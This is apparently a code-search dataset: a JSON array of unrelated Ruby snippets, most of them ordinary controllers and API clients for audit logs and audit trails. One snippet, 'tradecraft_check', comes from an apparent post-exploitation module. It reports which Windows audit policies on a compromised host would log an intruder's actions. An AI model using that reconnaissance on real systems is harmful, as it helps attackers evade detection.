[ "def list_audit_logs_for_date_range_for_tenant(args = {}) \n get(\"/tenants.json/#{args[:tenantId]}/auditlog\", args)\nend", "def index\n @audits = Audit.all\n end", "def index\n @audits = Audit.all\n end", "def index\n @audits = Audit.all\n respond_with @audits\n end", "def audit\n render :json=>@generic_file.audit\n end", "def index\n @audit_logs = AuditLog.all\n end", "def index\n @user_audits = UserAudit.all\n end", "def audit\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @audits = Audit.paginate(:page => params[:page],:per_page => 60, :order => 'created_at DESC', :conditions => [\"patient=?\", params[:wedgetail]])\n end", "def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end", "def index\n @auditvs = Auditv.all.page(params[:page]).per(10)\n end", "def list_trails()\r\n resp = @cloudtrail.describe_trails({})\r\n \r\n puts\r\n puts \"Found #{resp.trail_list.count} trail(s):\"\r\n puts\r\n \r\n resp.trail_list.each do |trail|\r\n puts \"Name: #{trail.name}\"\r\n puts \"Amazon S3 bucket name: #{trail.s3_bucket_name}\" \r\n puts\r\n end\r\n\r\n # Uncomment the following line to print all available information.\r\n # puts resp\r\n end", "def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def show\n @audit = Audit.find(params[:id])\n respond_with @audit.as_json(:include => [:location, :fine_tunes, :auditors, :auditees, :paragraphs => {only: [:id, :name]}])\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def get_audit_log_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_all_using_get ...'\n end\n # resource path\n local_var_path = '/audit_log'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'end_date'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n query_params[:'event'] = opts[:'event'] if !opts[:'event'].nil?\n query_params[:'integration_type'] = opts[:'integration_type'] if !opts[:'integration_type'].nil?\n query_params[:'is_request'] = opts[:'is_request'] if !opts[:'is_request'].nil?\n query_params[:'nucleus_client_id'] = opts[:'nucleus_client_id'] if !opts[:'nucleus_client_id'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'request_type'] = opts[:'request_type'] if !opts[:'request_type'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'start_date'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'vendor_name'] = opts[:'vendor_name'] if !opts[:'vendor_name'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Pageobject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end", "def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end", "def audit\n conf['dashboard']['audit']\n end", "def get_trails_by_id(params = {})\n request_by_ids(\"get-trails-by-id\", params)\n end", "def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end", "def get_audit_log_entries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entries ...'\n end\n # resource path\n local_var_path = '/auditlog'\n\n # query parameters\n query_params = {}\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'q'] = opts[:'q'] if !opts[:'q'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'spec'] = opts[:'spec'] if !opts[:'spec'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntries')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def fetch_audit_log\n assert_privileges(\"fetch_audit_log\")\n disable_client_cache\n send_data(fetch_local_log(\"audit\"), :filename => \"audit.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_audit_log\",\n :message => \"Audit log downloaded\")\n end", "def show\n @audit = current_user.audits.find(params[:id])\n @findings= @audit.findings.paginate(:page => params[:page], :per_page => 7).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audit }\n \n end\n end", "def index\n @trails = Trail.all\n end", "def show\n @audit_log = AuditLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @audit_log }\n end\n end", "def get_audit_log_all_using_get(opts = {})\n data, _status_code, _headers = get_audit_log_all_using_get_with_http_info(opts)\n data\n end", "def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def index\n getProfile\n @availabilities = @therapist.get_availabilities\n @rec_Availabilities = @therapist.get_recuring_availabilities(2000,1)\n respond_to do |format|\n format.html { redirect_to availabitity_index, notice: \"Appointment declined.\"}\n format.json { render :status => 200, :json => { action: :index,\n availabilities: @availabilities,\n rec_availabilities: @rec_Availabilities,\n user: @user, therapist: @therapist}}\n end\n end", "def download_audit_trail(signature_id, document_id)\n request :get, \"/v3/signatures/#{signature_id}/documents/#{document_id}/download/audit_trail\", {}, false\n end", "def index\n @labtech_audits = LabtechAudit.all.order(:technician, :date)\n end", "def account_history\n get('account/history')\n end", "def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end", "def index\n trail_api_request\n @trails = Trail.order(:city).order(:name)\n end", "def index\n @user = current_user;\n @toeic_logs = ToeicLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @toeic_logs }\n end\n end", "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end", "def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def report\n @audits = Audit.all\n end", "def show_audit(tiers_id)\n path = Audits::TiersAuditor.new(tiers_id).audit_path\n J2R.open_file_command(path)\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @audit = Audit.new(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @audit, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @audit }\n else\n format.html { render :new }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_labtech_audit\n @labtech_audit = LabtechAudit.find(params[:id])\n end", "def index\n @trail_users = TrailUser.all\n end", "def show\n @distribution_audit = DistributionAudit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @distribution_audit }\n end\n end", "def index\n @actlogs = Actlog.all\n end", "def index\n if params[:document_id]\n @document = Document.find(params[:document_id])\n @project = @document.project \n @audits = Audit.where('document_id = ?', params[:document_id]) \n elsif @project.present?\n @audits = @project.audits\n end\n\n if params[:user_id]\n @audits = @audits.where(\"user_id = ?\", params[:user_id])\n @user = User.find(params[:user_id])\n end\n\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\"\n @audits = @audits.order(sort_column + \" \" + sort_direction)\n @audits = @audits.page(params[:page])\n end", "def get_user_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_logs ...\"\n end\n # resource path\n local_var_path = \"/audit/logs\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_user'] = opts[:'filter_user'] if !opts[:'filter_user'].nil?\n query_params[:'filter_action_name'] = opts[:'filter_action_name'] if !opts[:'filter_action_name'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceUserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def list_audit_apps(opts = {})\n data, _status_code, _headers = list_audit_apps_with_http_info(opts)\n return data\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def index\n @managers = Manager.all\n @shipping_addresses = ShippingAddress.all\n @search = AuditDocument.available_for_user(current_user).search(params[:q])\n @audit_documents = @search.result.page(params[:page]).per(current_user.list_page_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audit_documents }\n end\n end", "def index\n current_admin_user\n @tablets = Tablet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tablets }\n end\n end", "def get_page_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogsApi.get_page ...'\n end\n # resource path\n local_var_path = '/cms/v3/audit-logs/'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'objectId'] = @api_client.build_collection_param(opts[:'object_id'], :multi) if !opts[:'object_id'].nil?\n query_params[:'userId'] = @api_client.build_collection_param(opts[:'user_id'], :multi) if !opts[:'user_id'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'sort'] = @api_client.build_collection_param(opts[:'sort'], :multi) if !opts[:'sort'].nil?\n query_params[:'eventType'] = @api_client.build_collection_param(opts[:'event_type'], :multi) if !opts[:'event_type'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'objectType'] = @api_client.build_collection_param(opts[:'object_type'], :multi) if !opts[:'object_type'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CollectionResponsePublicAuditLog'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['hapikey', 'oauth2']\n\n new_options = opts.merge(\n :operation => :\"AuditLogsApi.get_page\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogsApi#get_page\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def show\n @tap_log_record = current_account.tap_log_records.find(params[:id])\n authorize! :view, @tap_log_record\n @current_activity = @tap_log_record.current_activity\n @during_this = @tap_log_record.during_this\n @previous_activity = @tap_log_record.previous.activity.first\n @previous_entry = @tap_log_record.previous.first\n @next_activity = @tap_log_record.next.activity.first\n @next_entry = @tap_log_record.next.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tap_log_record }\n end\n end", "def index\n sort = params[:sort] || 'title'\n @user_templates = UserTemplate.find(:all, :order=>sort)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_templates }\n end\n add_audit_trail(:details => \"Viewed template listing.\")\n end", "def audit verb = nil, data = nil\n extras = nil\n\n if verb\n extras = { verb: verb }\n extras[:data] = data if data\n end\n\n account = App::Context.current.account\n user = App::Context.current.user\n pk = self.class.primary_key\n delta = changes.except pk, *EXCLUSIONS if persisted?\n\n # Fail fast: If there's a delta, it's empty, and there are no\n # extras to be merged, there's no need to audit. Have to check\n # delta presence and contents separately because a `nil` delta\n # is a delete.\n\n return if delta and delta.empty? and not extras\n\n data = {\n account: account && account.id,\n at: Time.now.to_f,\n target: id,\n user: user && user.id\n }\n\n # If the delta exists, check it for anything sensitive that\n # needs to be redacted and then add it to the audit data.\n\n unless delta.empty?\n REDACTED.each do |k|\n delta[k] = [\"REDACTED\", \"REDACTED\"] if delta.include? k\n end\n\n data[:delta] = delta\n end\n\n data.merge! extras if extras\n App::Jobs::Mongo.enqueue \"audits.#{self.class.name}\", data\n\n nil\n end", "def index\n r = @api.get_attendances\n response = JSON.parse(r.body)\n if r.code == 200\n @attendances = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n # @attendances = Attendance.all\n end", "def list_audit_apps_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuditApi.list_audit_apps ...\"\n end\n if !opts[:'skip_count'].nil? && opts[:'skip_count'] < 0.0\n fail ArgumentError, 'invalid value for \"opts[:\"skip_count\"]\" when calling AuditApi.list_audit_apps, must be greater than or equal to 0.0.'\n end\n\n if !opts[:'max_items'].nil? && opts[:'max_items'] < 1.0\n fail ArgumentError, 'invalid value for \"opts[:\"max_items\"]\" when calling AuditApi.list_audit_apps, must be greater than or equal to 1.0.'\n end\n\n # resource path\n local_var_path = \"/audit-applications\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'skipCount'] = opts[:'skip_count'] if !opts[:'skip_count'].nil?\n query_params[:'maxItems'] = opts[:'max_items'] if !opts[:'max_items'].nil?\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditAppPaging')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditApi#list_audit_apps\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def audit\n identifier(audit_db)\n end", "def historical_trades(options)\n request :verified, :get, :historicalTrades, options\n end", "def audit_params\n params.require(:audit).permit(:detail_id, :account_id, :end_time, :description)\n end", "def index\n @audits_not_started = current_user.audits.where('start_date > ?',Time.now) \n @audits= current_user.audits.paginate(:page => params[:page], :per_page => 3).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n\n end", "def set_account\n @audits = Audit.find(params[:id])\n end", "def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit(audit_data)\n @log4r.debug(audit_data)\n end", "def get_audit_log_entries(opts = {})\n data, _status_code, _headers = get_audit_log_entries_with_http_info(opts)\n data\n end", "def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end", "def audit_logs()\n return MicrosoftGraph::AuditLogs::AuditLogsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def download_email_audit_trail(email_id, certificate_id)\n request :get, \"/v3/emails/#{email_id}/certificates/#{certificate_id}/download/audit_trail\", {}, false\n end", "def index\n @ncr_api_logs = NcrApiLog.all\n end", "def index\n @auditions = Audition.all\n end", "def index\n if current_user.access == 2\n redirect_to \"/timetables/timetable\"\n end\n @timetables = Timetable.all\n end", "def index\n @trade_logs = TradeLog.all\n authorize @trade_logs\n end", "def show\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\", project_audits_path(@project)\n semantic_breadcrumb \"#{@audit.id}\"\n\n end", "def audit\n @audit || false\n end", "def index\n @daily_logs = current_user.daily_logs.order(\"updated_at DESC\")\n render json: @daily_logs, each_serializer: Rest::DailyLogSerializer\n end", "def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end", "def list_audit_entries_for_audit_app_with_http_info(audit_application_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuditApi.list_audit_entries_for_audit_app ...\"\n end\n # verify the required parameter 'audit_application_id' is set\n fail ArgumentError, \"Missing the required parameter 'audit_application_id' when calling AuditApi.list_audit_entries_for_audit_app\" if audit_application_id.nil?\n if !opts[:'skip_count'].nil? && opts[:'skip_count'] < 0.0\n fail ArgumentError, 'invalid value for \"opts[:\"skip_count\"]\" when calling AuditApi.list_audit_entries_for_audit_app, must be greater than or equal to 0.0.'\n end\n\n if !opts[:'max_items'].nil? && opts[:'max_items'] < 1.0\n fail ArgumentError, 'invalid value for \"opts[:\"max_items\"]\" when calling AuditApi.list_audit_entries_for_audit_app, must be greater than or equal to 1.0.'\n end\n\n # resource path\n local_var_path = \"/audit-applications/{auditApplicationId}/audit-entries\".sub('{format}','json').sub('{' + 'auditApplicationId' + '}', audit_application_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'skipCount'] = opts[:'skip_count'] if !opts[:'skip_count'].nil?\n query_params[:'orderBy'] = @api_client.build_collection_param(opts[:'order_by'], :csv) if !opts[:'order_by'].nil?\n query_params[:'maxItems'] = opts[:'max_items'] if !opts[:'max_items'].nil?\n query_params[:'where'] = opts[:'where'] if !opts[:'where'].nil?\n query_params[:'include'] = @api_client.build_collection_param(opts[:'include'], :csv) if !opts[:'include'].nil?\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditEntryPaging')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditApi#list_audit_entries_for_audit_app\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def tradecraft_check(audit)\n print_status(\"Tradecraft Notes:\")\n if audit.key?(\"Audit Other Object Access Events\") \n print_warning(\"\\tScheduled task actions are audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.schtask',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tFile, Registry and Share access can be logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.reg_share_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tLocal SAM access is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Process Creation\") \n print_warning(\"\\tProcess creation is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.process_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security State Change\")\n print_warning(\"\\tWindows Startup and Shutdown is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.startup_shutdown',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security System Extension\")\n print_warning(\"\\tWindows Service creation is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.service_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tAuthentication package install is logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tCode integrity check (file signature does not match).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.code_integrity_check',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Audit Policy Change\")\n print_warning(\"\\tAudit policy changes are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.audit_policy_change.',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Special Logon\")\n print_warning(\"\\tEvent 4672 logged when highly privileged user logs on.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.high_priv_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Other Logon/Logoff Events\")\n print_warning(\"\\tEvents for screensaver login, console locking, and Remote Desktop connections are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.other_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Logon\")\n print_warning(\"\\tAccount Logon events are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Kernel Object\")\n print_warning(\"\\tLSASS memory access will be logged in newer versions of Windows (10+/2012 R2+).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.kernel_object',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n \n end", "def get_audit_app_with_http_info(audit_application_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuditApi.get_audit_app ...\"\n end\n # verify the required parameter 'audit_application_id' is set\n fail ArgumentError, \"Missing the required parameter 'audit_application_id' when calling AuditApi.get_audit_app\" if audit_application_id.nil?\n # resource path\n local_var_path = \"/audit-applications/{auditApplicationId}\".sub('{format}','json').sub('{' + 'auditApplicationId' + '}', audit_application_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditApp')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditApi#get_audit_app\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @hour_logs = HourLog.all\n render json: @hour_logs, status: 200\n end", "def get_timeline\n HTTParty.post(\"#{@api_path}/tweets/#{@handle}/#{@password}\")\n end", "def get_logs(opts = {})\n @transporter.read(:GET, '/1/logs', {}, opts)\n end", "def index\n @actor_auditions = ActorAudition.all\n end", "def show\n if params[:log_type] == \"credits_logs\"\n @q = @user.credits_logs.search(params[:q])\n @credits_logs = @q.result(distinct: true).order(\"created_at DESC\")\n elsif params[:log_type] == \"wallet_logs\"\n @q = @user.wallet_logs.search(params[:q])\n @wallet_logs = @q.result(distinct: true).order(\"created_at DESC\")\n end\n end", "def list\n websites = @logs.records\n @view.show(websites)\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end", "def index\n @auditorios = Auditorio.all\n end", "def show\n\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\tend", "def resourceType\n 'AuditEvent'\n end", "def show\n @user_template = UserTemplate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_template }\n end\n add_audit_trail(:details => \"Viewed a template with alias: #{@user_template.alias}\")\n end", "def index\n @attendance_histories = AttendanceHistory.all\n end", "def index\n date = Date.today - 2.weeks\n @records = []\n [Page, Event, Message, Newsletter, Style, Audio, Video, Document, Form].each do |model|\n @records += model.where(\"updated_at > ?\", date).order(\"updated_at DESC\")\n end\n @records.sort!{|a, b| b.updated_at <=> a.updated_at}\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @audit_logs }\n end\n end", "def index\n @deployment_logs = DeploymentLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deployment_logs }\n end\n end" ]
